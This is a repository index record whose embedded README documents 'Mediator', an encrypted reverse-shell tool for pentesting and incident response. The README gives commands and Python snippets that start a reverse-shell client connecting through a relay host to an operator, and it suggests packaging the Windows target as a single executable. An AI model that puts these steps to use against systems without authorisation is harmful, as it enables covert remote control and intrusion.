{"id":13845487,"url":"https://github.com/lawndoc/mediator","last_synced_at":"2025-05-12T23:44:43.021Z","repository":{"id":54452119,"uuid":"327938551","full_name":"lawndoc/mediator","owner":"lawndoc","description":"An extensible, end-to-end encrypted reverse shell that works across networks without port forwarding.","archived":false,"fork":false,"pushed_at":"2023-11-17T17:42:16.000Z","size":351,"stargazers_count":99,"open_issues_count":3,"forks_count":15,"subscribers_count":4,"default_branch":"main","last_synced_at":"2025-05-12T23:44:37.534Z","etag":null,"topics":["end-to-end-encryption","handlers","incident-response","incident-response-tooling","live-response","pentesting","pentesting-tools","plugin-system","plugins","python","python-3","python-script","python3","red-team","red-teaming","reverse-shell","reverse-shells","security-tools","socket-programming"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"agpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/lawndoc.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":".github/FUNDING.yml","license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":"SECURITY.md","support":null,"governance":null,"roadmap":null,"authors":null,"dei":null},"funding":{"github":"lawndoc","patreon":null,"open_collective":null,"ko_fi":null,"tidelift":null,"community_bridge":null,"liberapay":null,"issuehunt":null,"otechie":null,"lfx_crowdfunding":null,"custom":null}},"created_at":"2021-01-08T15:21:40.000Z","updated_at":"2025-01-18T16:28:55.000Z","dependencies_parsed_at":"2023-11-17T18:48:59.859Z","dependency_job_id":null,"html_url":"https://github.com/lawndoc/mediator","commit_stats":null,"previous_names":[],"tags_count":11,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lawndoc%2Fmediator","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lawndoc%2Fmediator/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lawndoc%2Fmediator/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/lawndoc%2Fmediator/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/lawndoc","download_url":"https://codeload.github.com/lawndoc/mediator/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":253843163,"owners_count":21972867,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["end-to-end-encryption","handlers","incident-response","incident-response-tooling","live-response","pentesting","pentesting-tools","plugin-system","plugins","python","python-3","python-script","python3","red-team","red-teaming","reverse-shell","reverse-shells","security-tools","socket-programming"],"created_at":"2024-08-04T17:03:25.886Z","updated_at":"2025-05-12T23:44:42.997Z","avatar_url":"https://github.com/lawndoc.png","language":"Python","funding_links":["https://github.com/sponsors/lawndoc"],"categories":["python3","Python"],"sub_categories":[],"readme":"\u003cp align=\"center\" float:\"right\"\u003e\n    \u003cimg src=\"resources/mediator.png\" alt=\"mediator logo\"/\u003e\n\u003c/p\u003e\n\nMediator is an end-to-end encrypted reverse shell in which the operator and the shell connect to a \"mediator\" server that bridges the connections. This removes the need for the operator/handler to set up port forwarding in order to listen for the connection. Mediator also allows you to create plugins to expand the functionality of the reverse shell.\n\nYou can run Mediator's scripts as standalone executables or you can import them for integration into other pentesting and incident response tools.\n\n## Architecture:\n\nInspired by end-to-end encrypted chat applications, Mediator takes a unique approach to the client/server model of a reverse shell. Mediator uses:\n\n1. A client reverse shell\n2. A client handler/operator\n3. A server that bridges the two connections\n\nReverse shells and handlers connect to the Mediator server with a connection key. The server listens on port 80 for handler connections and port 443 for reverse shell connections. When clients connect to the mediator, the server queues the clients according to their respective type and connection key. When both a reverse shell and an operator connect to the server with the same key, the server will bridge the two connections. From there, a key exchange is done between the two clients, and all communication between the reverse shell and operator is encrypted end-to-end. This ensures the server cannot snoop on the streams it is piping.\n\n## Plugins\n\nPlugins allow you to add extra commands that can execute code on the operator's host, the target host, or both! Please refer to the README in the [plugins directory](./plugins) for more information about plugins.\n\n## Instructions:\n\n### Server\n\nThe client scripts can be run on Windows or Linux, but you'll need to stand up the server ([mediator.py](mediator.py)) on a Linux host. The server is pure Python, so no dependencies need to be installed. You can either run the server script with\n\n```bash\n$ python3 mediator.py\n```\n\nor you can build a Docker image with the provided [Dockerfile](Dockerfile) and run it in a container (make sure to publish ports 80 and 443).\n\n### Clients\n\nYou will need to install the dependencies found in [requirements.txt](requirements.txt)) for the clients to work. You can do this with the following command:\n\n```bash\n$ pip3 install -r requirements.txt\n```\n\nSee *Tips and Reminders* at the bottom for help on distributing the clients without worrying about dependencies.\n\nThe handler and the reverse shell can be used within other Python scripts or directly via the command line. In both cases, the clients can accept arguments for the server address and connection key. Usage of those arguments is described below.\n\n**Mediator server address**\n\nFor *Python script* usage, the address of the mediator host is required upon instantiation:\n\n*Handler class*\n```python\nfrom handler import Handler\n\noperator = Handler(mediatorHost=\"example.com\")\noperator.run()\n```\n\n*WindowsRShell class*\n```python\nfrom windowsTarget import WindowsRShell\n\nshell = WindowsRShell(mediatorHost=\"example.com\")\nshell.run()\n```\n\nIf executing a client script *directly from a shell*, you can either hard code the address at the bottom of the script, or the server address can be specified as an argument with the `-s` or `--server` flag:\n\n*handler.py*\n```bash\n$ python3 handler.py -s example.com\n```\n\n*windowsTarget.py*\n```powershell\n\u003e python windowsTarget.py -s example.com\n```\n\n**Connection key**\n\nWhen two handlers or two reverse shells connect to the mediator server with the same connection key, only the first connection is queued awaiting its match. Until the queued connection either times out (30 seconds) or matches with a counterpart connection, all other clients of the same type trying to connect with the same connection key will be dropped.\n\nIt is important to make sure each handler is using a unique connection key to avoid a race condition resulting in the wrong shell being given to an operator. \n\nOnly keys with the prefix \"#!ConnectionKey_\" will be accepted by the server. The default connection key is \"#!ConnectionKey\\_CHANGE\\_ME!!!\".\n\nTo change the connection key for *Python script* usage, the connection key can optionally be supplied upon instantiation:\n\n*Handler class*\n```python\nfrom handler import Handler\n\noperator = Handler(mediatorHost=\"example.com\", connectionKey=\"#!ConnectionKey_secret_key\")\noperator.run()\n```\n\n*LinuxRShell class*\n```python\nfrom linuxTarget import LinuxRShell\n\nshell = LinuxRShell(mediatorHost=\"example.com\", connectionKey=\"#!ConnectionKey_secret_key\")\nshell.run()\n```\n\nIf executing a client script *directly from a shell*, you can either hard code the connection key at the bottom of the script, or the connection key can be specified as an argument with the `-c` or `--connection-key` flag:\n\n*handler.py*\n```bash\n$ python3 handler.py -s example.com -c '#!ConnectionKey_secret_key'\n```\n\n*windowsTarget.py*\n```powershell\n\u003e python windowsTarget.py -s example.com -c '#!ConnectionKey_secret_key'\n```\n\n\n## Tips and Reminders:\n\n- REMINDER: handlers and reverse shells will not be bridged together unless they connect to the mediator server using the same connection key within 30 seconds of each other.\n- TIP: You can easily create an exe for windowsTarget.py with pyinstaller using the `--onefile` flag\n- TIP: For security, you should use a randomly generated connection key for each session. If a malicious party learns your connection key and spams the operator port with it, your operator client will be unable to connect due to the server not allowing duplicate connnections, and they will be connected to your target's shell.\n\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flawndoc%2Fmediator","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Flawndoc%2Fmediator","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Flawndoc%2Fmediator/lists"}